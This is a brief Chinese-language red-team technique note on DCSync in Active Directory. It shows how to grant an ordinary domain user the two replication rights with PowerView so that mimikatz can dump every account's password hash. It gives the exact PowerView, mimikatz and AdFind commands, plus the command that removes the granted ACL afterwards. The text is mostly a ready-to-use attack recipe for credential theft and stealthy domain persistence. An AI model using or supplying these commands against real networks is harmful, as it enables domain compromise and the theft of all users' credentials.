一、DCSync介紹
DCSync是mimikatz的一個功能,能夠模擬域控制器並從域控制器導出帳戶密碼hash,如果我們在域內一台主機上獲得了域管理員權限,可以使用如下命令直接導出域內所有用戶的hash:
默認情況下,只有和Domain Controllers和Enterprise Domain Admins權限能夠使用DCSync但我們可以對,域內普通用戶添加ACL實現普通用戶調用DCSync導出域內所有用戶的hash
DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)和DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2),兩條ACL即可
使用powerview添加ACL:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=com" -PrincipalIdentity 域內普通用戶 -Rights DCSync
添加成功后就可以使用該域用戶dump域內所有hash:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
通過ADfind查詢yiwang用戶的acl,可以看到已經添加了ACL
AdFind.exe -sc getacls -sddlfilter ;;;;;redteam/yiwang -recmute
刪除添加的ACL:
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity 用戶用戶 -Rights DCSync
參考鏈接:
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8B%E7%9A%84Access-Control-List/
https://mp.weixin.qq.com/s/mWKuJeTizlgrKrw1IcVwiw
https://www.anquanke.com/post/id/197329?display=mobile
https://www.4hou.com/posts/m7wR
https://www.anquanke.com/post/id/106949